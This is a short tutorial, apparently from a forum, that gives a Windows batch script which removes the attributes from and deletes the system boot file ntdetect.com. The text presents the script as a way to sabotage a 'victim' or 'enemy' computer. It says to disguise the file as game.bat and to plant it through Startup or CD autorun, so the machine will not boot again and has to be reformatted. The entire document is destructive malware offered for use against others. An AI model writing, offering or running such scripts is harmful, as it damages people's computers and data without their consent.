Copy the code below @ the notepad
echo off
C:
cd..
cd..
cd..
attrib -r -s -h ntdetect.com
del ntdetect.com
echo on
print U r a bloody LOSER, HACKER is a Winner..........
Save this file as game.bat or any other name with .bat extension, a kind batch file.
Double click it in the victim's computer or Put it in Startup of Ur enemy or put it in a CD and set it in the autorun.
With this activated once the computer will run perfectly.
On Restart, it wont start again and HE/SHE will have to format it.
(Exceptions are only if U know how to use DOS).